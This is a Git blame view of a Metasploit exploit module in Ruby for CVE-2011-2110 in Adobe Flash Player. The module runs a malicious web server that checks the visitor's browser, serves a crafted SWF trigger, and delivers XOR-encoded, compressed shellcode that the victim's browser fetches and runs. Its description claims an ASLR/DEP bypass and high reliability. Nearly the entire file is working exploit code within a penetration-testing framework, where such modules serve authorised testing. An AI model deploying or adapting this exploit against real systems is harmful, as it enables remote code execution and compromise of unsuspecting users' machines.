Files
metasploit-gs/modules/exploits/windows/browser/adobe_flashplayer_arrayindexing.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

175 lines
5.5 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
2013-08-30 16:28:54 -05:00
include Msf::Exploit::Remote::HttpServer::HTML
2013-08-30 16:28:54 -05:00
def initialize(info = {})
2025-06-20 13:20:44 +01:00
super(
update_info(
info,
'Name' => 'Adobe Flash Player AVM Verification Logic Array Indexing Code Execution',
'Description' => %q{
This module exploits a vulnerability in Adobe Flash Player versions 10.3.181.23
2025-06-20 13:20:44 +01:00
and earlier. This issue is caused by a failure in the ActionScript3 AVM2 verification
logic. This results in unsafe JIT(Just-In-Time) code being executed. This is the same
vulnerability that was used for attacks against Korean based organizations.
2013-08-30 16:28:54 -05:00
Specifically, this issue occurs when indexing an array using an arbitrary value,
2025-06-20 13:20:44 +01:00
memory can be referenced and later executed. Taking advantage of this issue does not rely
on heap spraying as the vulnerability can also be used for information leakage.
2013-08-30 16:28:54 -05:00
Currently this exploit works for IE6, IE7, IE8, Firefox 10.2 and likely several
2025-06-20 13:20:44 +01:00
other browsers under multiple Windows platforms. This exploit bypasses ASLR/DEP and
is very reliable.
},
2025-06-20 13:20:44 +01:00
'License' => MSF_LICENSE,
'Author' => [
2012-06-21 02:32:04 -05:00
'mr_me <steventhomasseeley[at]gmail.com>', # msf exploit
2025-06-20 13:20:44 +01:00
'Unknown' # malware version seen used in targeted attacks
],
2025-06-20 13:20:44 +01:00
'References' => [
['CVE', '2011-2110'],
['OSVDB', '73007'],
2012-06-21 02:32:04 -05:00
['BID', '48268'],
['URL', 'http://www.adobe.com/devnet/swf.html'],
['URL', 'http://www.adobe.com/support/security/bulletins/apsb11-18.html'],
['URL', 'http://www.accessroot.com/arteam/site/download.php?view.331'],
['URL', 'http://www.shadowserver.org/wiki/pmwiki.php/Calendar/20110617'],
],
2025-06-20 13:20:44 +01:00
'DefaultOptions' => {
'EXITFUNC' => 'process',
'HTTP::compression' => 'gzip',
'HTTP::chunked' => true,
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
2025-06-20 13:20:44 +01:00
'Payload' => {
'Space' => 2000,
'BadChars' => "\x00",
'DisableNops' => true
},
2025-06-20 13:20:44 +01:00
'Platform' => 'win',
'Targets' => [
[ 'Automatic', {}],
],
2025-06-20 13:20:44 +01:00
'DisclosureDate' => '2012-06-21',
'DefaultTarget' => 0,
'Notes' => {
2025-06-23 12:43:46 +01:00
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
2025-06-20 13:20:44 +01:00
)
)
end
2013-08-30 16:28:54 -05:00
def exploit
# src for the flash file: external/source/exploits/CVE-2011-2110/CVE-2011-2110.as
# full aslr/dep bypass using the info leak as per malware
2025-06-20 13:20:44 +01:00
path = File.join(Msf::Config.data_directory, "exploits", "CVE-2011-2110.swf")
fd = File.open(path, "rb")
@swf = fd.read(fd.stat.size)
fd.close
super
end
2013-08-30 16:28:54 -05:00
def check_dependencies
use_zlib
end
2013-08-30 16:28:54 -05:00
def get_target(agent)
2025-06-20 13:20:44 +01:00
# If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'
2013-08-30 16:28:54 -05:00
if agent =~ /MSIE/
return targets[0] # ie 6/7/8 tested working
elsif agent =~ /Firefox/
return targets[0] # ff 10.2 tested working
else
return nil
end
end
2013-08-30 16:28:54 -05:00
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
my_target = get_target(agent)
2013-08-30 16:28:54 -05:00
# Avoid the attack if the victim doesn't have the same setup we're targeting
if my_target.nil?
print_error("#{cli.peerhost}:#{cli.peerport} - Browser not supported: #{agent.to_s}")
send_not_found(cli)
return
end
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
xor_byte = 122
trigger = @swf
trigger_file = rand_text_alpha(rand(6) + 3) + ".swf"
code = rand_text_alpha(rand(6) + 3) + ".txt"
2013-08-30 16:28:54 -05:00
sc = Zlib::Deflate.deflate(payload.encoded)
shellcode = ""
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
sc.each_byte do |c|
shellcode << (xor_byte ^ c)
end
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
uri = ((datastore['SSL']) ? "https://" : "http://")
uri << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST'])
uri << ":#{datastore['SRVPORT']}#{get_resource()}/#{code}"
2013-08-30 16:28:54 -05:00
bd_uri = Zlib::Deflate.deflate(uri)
2013-08-30 16:28:54 -05:00
uri = ""
2025-06-20 13:20:44 +01:00
bd_uri.each_byte do |c|
uri << (xor_byte ^ c)
end
2013-08-30 16:28:54 -05:00
bd_uri = uri.unpack("H*")[0]
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
obj_id = rand_text_alpha(rand(6) + 3)
2013-08-30 16:28:54 -05:00
if request.uri.match(/\.swf/i)
print_status("Sending malicious swf")
send_response(cli, trigger, { 'Content-Type' => 'application/x-shockwave-flash' })
return
end
2013-08-30 16:28:54 -05:00
if request.uri.match(/\.txt/i)
print_status("Sending payload")
send_response(cli, shellcode, { 'Content-Type' => 'text/plain' })
return
end
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
html = <<-EOS
<html>
<head>
</head>
<body>
<center>
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
id="#{obj_id}" width="600" height="400"
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
<param name="movie" value="#{get_resource}/#{trigger_file}?info=#{bd_uri}" />
<embed src="#{get_resource}/#{trigger_file}?info=#{bd_uri}" quality="high"
width="320" height="300" name="#{obj_id}" align="middle"
allowNetworking="all"
type="application/x-shockwave-flash"
pluginspage="http://www.macromedia.com/go/getflashplayer">
</embed>
</object>
</center>
</body>
</html>
EOS
2013-08-30 16:28:54 -05:00
html = html.gsub(/^ {4}/, '')
2013-08-30 16:28:54 -05:00
print_status("Sending #{self.name} HTML")
send_response(cli, html, { 'Content-Type' => 'text/html' })
end
end